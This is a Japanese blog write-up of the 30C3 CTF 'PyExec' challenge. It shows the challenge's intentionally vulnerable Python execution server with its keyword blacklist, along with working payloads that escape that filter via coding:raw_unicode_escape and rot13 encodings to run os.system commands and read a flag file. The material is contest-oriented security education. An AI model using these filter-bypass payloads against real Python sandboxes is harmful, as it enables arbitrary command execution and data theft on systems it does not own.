30C3 CTF オンライン予選大会の PyExec 問題紹介

セキュリティ技術を競う CTF (Capture The Flag: 旗取り) 大会は、フラグ(旗)文字列が隠されたプログラムやWebサーバや画像などが出題され、フラグを探し出して提出(submit)すると得点となり、総合得点を競う大会です。大抵は複数人でチームを組んで参加します。
CTF大会には、大会会場に集まって行われるオフライン大会と、世界各地から参加できるオンライン大会があります。オンライン大会で予選を行い、予選を勝ち抜いたチームが開催地に集まってオフライン大会で本戦(決勝戦)を行うことあります。

昨年末、日本時間2013年12月28日04:00～30日04:00(48時間)で開催された 30C3 CTF というオンライン予選大会に、 PyExec という pythonの使用文字を制限したWeb問題が出題されて面白かったので紹介します。
30C3 CTF (ドイツ): https://30c3ctf.aachen.ccc.de/

PyExec では、WebサーバのURLと、WebサーバプログラムのPythonスクリプト webapp.py が与えられました。
Webサーバは2014年1月1日時点でまだ動作していますが、近いうちに閉鎖されると思います。
WebサーバのURL: <del>http: //88.198.89.213:8080/</del> (閉鎖されてました)
WebサーバのPythonスクリプト: webapp.py

```py:webapp.py
#!/usr/bin/env python

import json
import re
import threading
import tempfile
import tornado.ioloop
import tornado.web
from subprocess import Popen, PIPE


def check(data):
    blacklist = [
        'UnicodeDecodeError', 'intern', 'FloatingPointError', 'UserWarning',
        'PendingDeprecationWarning', 'any', 'EOFError', 'next', 'AttributeError',
        'ArithmeticError', 'UnicodeEncodeError', 'get_ipython', 'import', 'bin', 'map',
        'bytearray', '__name__', 'SystemError', 'set', 'NameError', 'Exception',
        'ImportError', 'basestring', 'GeneratorExit', 'float', 'BaseException',
        'IOError', 'id', 'hex', 'input', 'reversed', 'RuntimeWarning', '__package__',
        'del', 'yield', 'ReferenceError', 'chr', '__doc__', 'setattr',
        'KeyboardInterrupt', '__IPYTHON__', '__debug__', 'from', 'IndexError',
        'coerce', 'False', 'eval', 'repr', 'LookupError', 'file', 'MemoryError',
        'None', 'SyntaxWarning', 'max', 'list', 'pow', 'callable', 'len',
        'NotImplementedError', 'BufferError', '__import__', 'FutureWarning', 'buffer',
        'def', 'unichr', 'vars', 'globals', 'xrange', 'ImportWarning', 'dreload',
        'issubclass', 'exec', 'UnicodeError', 'raw_input', 'isinstance', 'finally',
        'Ellipsis', 'DeprecationWarning', 'return', 'OSError', 'complex', 'locals',
        'format', 'super', 'ValueError', 'reload', 'round', 'object', 'StopIteration',
        'ZeroDivisionError', 'memoryview', 'enumerate', 'slice', 'delattr',
        'AssertionError', 'EnvironmentError', 'property', 'zip', 'apply', 'long',
        'except', 'lambda', 'filter', 'assert', 'copyright', 'bool', 'BytesWarning',
        'getattr', 'dict', 'type', 'oct', '__IPYTHON__active', 'NotImplemented',
        'iter', 'hasattr', 'UnicodeTranslateError', 'bytes', 'abs', 'credits', 'min',
        'TypeError', 'execfile', 'SyntaxError', 'classmethod', 'cmp', 'tuple',
        'compile', 'try', 'all', 'open', 'divmod', 'staticmethod', 'license', 'raise',
        'Warning', 'frozenset', 'global', 'StandardError', 'IndentationError',
        'reduce', 'range', 'hash', 'KeyError', 'help', 'SystemExit', 'dir', 'ord',
        'True', 'UnboundLocalError', 'UnicodeWarning', 'TabError', 'RuntimeError',
        'sorted', 'sum', 'class', 'OverflowError'
    ]
    for entry in blacklist:
        if entry in data:
            return False
    whitelist = re.compile("^[\r\na-z0-9#\t,+*/:%><= _\\-]*$", re.DOTALL)
    return bool(whitelist.match(data))


class ProcessHandler(threading.Thread):
    def ready(self):
        if self.timeout:
            self.request.write(json.dumps({
                "error": "timeout"
            }))
        else:
            self.request.write(json.dumps({
                "stdout": self.stdout,
                "stderr": self.stderr,
            }))
        self.request.finish()

    def run(self):
        self.stdout = self.stderr = ""
        self.timeout = False
        def proc_thread():
            proc.wait()
            self.stdout = proc.stdout.read()
            self.stderr = proc.stderr.read()
            tornado.ioloop.IOLoop.instance().add_callback(self.ready)
        _, tmpfile = tempfile.mkstemp()
        with open(tmpfile, "w") as fileobj:
            fileobj.write(self.code)
        proc = Popen(["/usr/bin/python", tmpfile], stdout=PIPE, stderr=PIPE)
        t = threading.Thread(target=proc_thread)
        t.start()
        t.join(2)
        if proc.poll() is None:
            self.timeout = True
            proc.kill()

class ExecHandler(tornado.web.RequestHandler):
    @tornado.web.asynchronous
    def post(self):
        self.set_header('Content-Type', "application/json")
        code = self.get_argument("code")
        if check(code):
            t = ProcessHandler()
            t.code = code
            t.request = self
            t.daemon = True
            t.start()
        else:
            self.write(json.dumps({"error": "forbidden"}))
            self.finish()

def main():
    app = tornado.web.Application([
        (r"/exec", ExecHandler),
        (r"/", tornado.web.RedirectHandler, {"url": "/index.html"}),
        (r"/(.*)", tornado.web.StaticFileHandler, {'path': "static/"})
    ])
    app.listen(8080)
    tornado.ioloop.IOLoop.instance().start()

if __name__ == "__main__":
    main()
```

まずはWebサーバーのPythonスクリプトを眺めてみると、"^[\r\na-z0-9#\t,+*/:%><= _\\\-]*$" の正規表現に合致する文字「改行文字 a～z 0～9 # タブ文字 , + * / : % > < = _ バックススラッシュ文字 - 」しか使えず、さらに blacklist に書かれてる文字列が使えません。
それらの条件に合致する入力文字列であれば、ファイルに保存されて /usr/bin/python コマンドで実行されます。

このPythonスクリプトにはフラグらしき文字列がないので、Webサーバの中を探すことになりそうです。そのためには import os ; os.system('ls') などでサーバの中を調べるコマンドを実行する必要があるのですが、import という文字列や 括弧 ( ) [ ] や ドット . の文字が使えないので、関数呼び出しやメソッド呼び出しが使えません。
さてどうしたものかと考えていたら、先日勉強会用に作った「CTFのためのPython入門」 http://www.slideshare.net/shiracamus/ctfpython に、余談として coding:rot13 を紹介していたことを思い出しました。これの元ネタは Hidden features of Python の ROT13 Encoding です。
http://stackoverflow.com/questions/101268/hidden-features-of-python#1024693
coding:rot13 を使えば、importという文字列を別の文字列で指定できて import できない問題は解決できます。でも、括弧やドットが使えない問題が残ります。
rot13以外のcordingが使えないか調べてみたところ、Pythonドキュメントに書いてある標準エンコーディングのうち、「被演算子の型」が「Unicode string」のものが使えるようです。
http://docs.python.jp/2/library/codecs.html#standard-encodings
それをCTFチームメイトに紹介したところ、coding:raw_unicode_escape でフラグが取れた!! との吉報が届きました。
私もそれを使って os.system('ls') を実行してみました。import は使えないけど、先頭の i を \u0069 にするなどして回避し、記号も \u???? で回避できます。

```py:ls
#coding:raw_unicode_escape
\u0069mport os
os\u002esystem\u0028\u0027ls\u0027\u0029
```

```txt:ls出力結果
flag.txt
static
webapp.py
```

flag.txt というファイルがあることがわかったので、os.system("cat flag.txt") を実行してみます。

```py:cat　flag.txt
#coding:raw_unicode_escape
\u0069mport os
os\u002esystem\u0028\u0027cat flag\u002etxt\u0027\u0029
```

```txt:cat　flag.txt出力結果
30C3_2a2766d9cf4a137d517a8227bd71d59d
```

30C3_2a2766d9cf4a137d517a8227bd71d59d を submit して 300点 を得点できました。

CTF大会が終わると、各チームがどうやって解いたかをWriteupとして公開するのが風習になっているのですが、その中に coding:rot13 で解いてるチームがあり、その手法をみて更に勉強になりました。
stringモジュールで定義されている特殊文字列punctuationを変数に展開して、文字列連結して実行したい文字列を作り出し、 exec で実行するという方法でした。
http://rocco.io/ctf/2013/12/29/30C3-CTF-PyExec-300.html

```py:coding:rot13
from os import listdir
from string import lowercase, punctuation, whitespace

a, b, c, d, e, f, g, h, i, j,\
k, l, m, n, o, p, q, r, s, t,\
u, v, w, x, y, z = lowercase

_, _, _, _, _, _, _,\
lparen, rparen,\
_, _, _, _,\
dot,\
_, _, _, _,\
eq,\
_, _, _, _, _, _, _, _, _, _, _, _, _ = punctuation

_, _, _, _, _, space = whitespace

# lst = listdir(dot)
exec  l + s + t + eq +\
      l + i + s + t + d + i + r +\
      lparen + d + o + t + rparen

_, flag, _, _, _, _, _, _, _ = lst

# print open(flag).read()
exec  p + r + i + n + t + space +\
      o + p + e + n +\
      lparen + f + l + a + g + rparen +\
      dot + r + e + a + d + lparen + rparen
```

他に、coding:unicode_escape で解いてるチームもありました。unicode_escape だと \x?? 形式で指定できるんですね。
http://delimitry.blogspot.ru/2013/12/30c3-ctf-2013-sandbox-300-pyexec-writeup.html

CTF大会開催情報をまとめたり、参加チームの世界ランキングを付けているサイトもありますので、興味を持った方はJeopardy(パネルクイズ)形式のオンライン大会に挑戦してみてはいかがでしょうか。
Rate:10～20の大会が初心者向けです。30C3 CTF は Rate:50 で難しかったです。Rate:60以上はかなり難しいと思います。
https://ctftime.org/event/list/upcoming

日本でも、今月末(2014年1月25日(土)12:00～26日(日)12:00の24時間)にSECCONのCTFオンライン予選がありますので、興味を持った方は参加してみてはいかがでしょうか。制限されたPythonインタープリタを攻略する問題は出なさそうですが…
http://2013.seccon.jp/online-quals2013.html